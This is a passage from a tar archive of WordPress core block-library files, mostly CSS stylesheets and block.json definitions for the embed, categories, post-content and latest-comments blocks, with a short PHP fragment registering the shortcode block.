.page-numbers:last-child{margin-right:0}blocks/query-pagination-numbers/block.json000064400000001525147177035010014763 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-pagination-numbers", "title": "Page Numbers", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays a list of page numbers for pagination", "textdomain": "default", "usesContext": [ "queryId", "query" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "query-pagination-numbers-editor" } blocks/query-pagination-numbers/editor-rtl.min.css000064400000000313147177035010016351 0ustar00.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/shortcode.php000064400000001271147177035010010532 0ustar00 'render_block_core_shortcode', ) ); } add_action( 'init', 'register_block_core_shortcode' ); blocks/embed/editor-rtl.css000064400000004223147177035010011702 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-embed { margin-right: 0; margin-left: 0; clear: both; } .wp-block-embed.is-loading { display: flex; justify-content: center; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-embed .components-placeholder__learn-more { margin-top: 1em; } .block-library-embed__interactive-overlay { position: absolute; top: 0; right: 0; left: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; }blocks/embed/style.min.css000064400000003103147177035010011533 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin:0 0 1em;overflow-wrap:break-word}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;right:0;bottom:0;left:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}blocks/embed/editor.css000064400000004223147177035010011103 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-embed { margin-left: 0; margin-right: 0; clear: both; } .wp-block-embed.is-loading { display: flex; justify-content: center; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-embed .components-placeholder__learn-more { margin-top: 1em; } .block-library-embed__interactive-overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; }blocks/embed/style-rtl.css000064400000006316147177035010011561 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-embed { margin: 0 0 1em 0; overflow-wrap: break-word; } .wp-block-embed figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; left: 0; bottom: 0; right: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; }blocks/embed/editor.min.css000064400000001156147177035010011667 0ustar00.wp-block-embed{margin-left:0;margin-right:0;clear:both}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;left:0;right:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}blocks/embed/theme-rtl.min.css000064400000000213147177035020012274 0ustar00.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}blocks/embed/block.json000064400000001444147177035020011073 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/embed", "title": "Embed", "category": "embed", "description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.", "textdomain": "default", "attributes": { "url": { "type": "string" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "type": { "type": "string" }, "providerNameSlug": { "type": "string" }, "allowResponsive": { "type": "boolean", "default": true }, "responsive": { "type": "boolean", "default": false }, "previewable": { "type": "boolean", "default": true } }, "supports": { "align": true }, "editorStyle": "wp-block-embed-editor", "style": "wp-block-embed" } blocks/embed/style-rtl.min.css000064400000003103147177035020012333 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin:0 0 1em;overflow-wrap:break-word}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;left:0;bottom:0;right:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}blocks/embed/editor-rtl.min.css000064400000001156147177035020012467 0ustar00.wp-block-embed{margin-right:0;margin-left:0;clear:both}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;right:0;left:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}blocks/embed/theme.min.css000064400000000213147177035020011475 0ustar00.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}blocks/embed/theme.css000064400000003146147177035020010723 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-embed figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed figcaption { color: rgba(255, 255, 255, 0.65); }blocks/embed/theme-rtl.css000064400000003146147177035020011522 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-embed figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed figcaption { color: rgba(255, 255, 255, 0.65); }blocks/embed/style.css000064400000006316147177035020010763 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-embed { margin: 0 0 1em 0; overflow-wrap: break-word; } .wp-block-embed figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; right: 0; bottom: 0; left: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; }blocks/post-content/editor-rtl.css000064400000000147147177035020013265 0ustar00.wp-block-post-content.wp-block-post-content{ -webkit-user-select:none; user-select:none; }blocks/post-content/style.min.css000064400000000051147177035020013114 0ustar00.wp-block-post-content{display:flow-root}blocks/post-content/editor.css000064400000000147147177035020012466 0ustar00.wp-block-post-content.wp-block-post-content{ -webkit-user-select:none; user-select:none; }blocks/post-content/style-rtl.css000064400000000056147177035020013136 0ustar00.wp-block-post-content{ display:flow-root; }blocks/post-content/editor.min.css000064400000000127147177035020013246 0ustar00.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}blocks/post-content/block.json000064400000000667147177035020012462 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-content", "title": "Post Content", "category": "theme", "description": "Displays the contents of a post or page.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "supports": { "align": [ "wide", "full" ], "html": false, "__experimentalLayout": true }, "editorStyle": "wp-block-post-content-editor" } blocks/post-content/style-rtl.min.css000064400000000051147177035020013713 0ustar00.wp-block-post-content{display:flow-root}blocks/post-content/editor-rtl.min.css000064400000000127147177035020014045 0ustar00.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}blocks/post-content/style.css000064400000000056147177035020012337 0ustar00.wp-block-post-content{ display:flow-root; }blocks/categories/editor-rtl.css000064400000003043147177035020012753 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-categories ul { padding-right: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; }blocks/categories/style.min.css000064400000000140147177035020012603 0ustar00.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}blocks/categories/editor.css000064400000003042147177035020012153 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-categories ul { padding-left: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; }blocks/categories/style-rtl.css000064400000003055147177035020012630 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-categories.alignleft { margin-right: 2em; } .wp-block-categories.alignright { margin-left: 2em; }blocks/categories/editor.min.css000064400000000125147177035020012734 0ustar00.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}blocks/categories/block.json000064400000001226147177035020012142 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/categories", "title": "Categories", "category": "widgets", "description": "Display a list of all categories.", "textdomain": "default", "attributes": { "displayAsDropdown": { "type": "boolean", "default": false }, "showHierarchy": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false }, "showOnlyTopLevel": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-categories-editor", "style": "wp-block-categories" } blocks/categories/style-rtl.min.css000064400000000140147177035020013402 0ustar00.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}blocks/categories/editor-rtl.min.css000064400000000126147177035020013534 0ustar00.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}blocks/categories/style.css000064400000003117147177035020012030 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-categories.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-categories.alignright { /*rtl:ignore*/ margin-left: 2em; }blocks/latest-comments/style.min.css000064400000001627147177035020013610 0ustar00ol.wp-block-latest-comments{margin-left:0}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{line-height:1.1;list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{min-height:2.25em;list-style:none}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.has-dates .wp-block-latest-comments__comment,.has-excerpts .wp-block-latest-comments__comment{line-height:1.5}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;line-height:1.8;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}blocks/latest-comments/style-rtl.css000064400000004727147177035020013631 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ol.wp-block-latest-comments { margin-right: 0; } .wp-block-latest-comments .wp-block-latest-comments { padding-right: 0; } .wp-block-latest-comments__comment { line-height: 1.1; list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-right: 3.25em; } .has-dates .wp-block-latest-comments__comment, .has-excerpts .wp-block-latest-comments__comment { line-height: 1.5; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; line-height: 1.8; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: right; height: 2.5em; margin-left: 0.75em; width: 2.5em; }blocks/latest-comments/block.json000064400000001355147177035020013137 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/latest-comments", "title": "Latest Comments", "category": "widgets", "description": "Display a list of your most recent comments.", "keywords": [ "recent comments" ], "textdomain": "default", "attributes": { "commentsToShow": { "type": "number", "default": 5, "minimum": 1, "maximum": 100 }, "displayAvatar": { "type": "boolean", "default": true }, "displayDate": { "type": "boolean", "default": true }, "displayExcerpt": { "type": "boolean", "default": true } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-latest-comments-editor", "style": "wp-block-latest-comments" } blocks/latest-comments/style-rtl.min.css000064400000001632147177035020014403 0ustar00ol.wp-block-latest-comments{margin-right:0}.wp-block-latest-comments 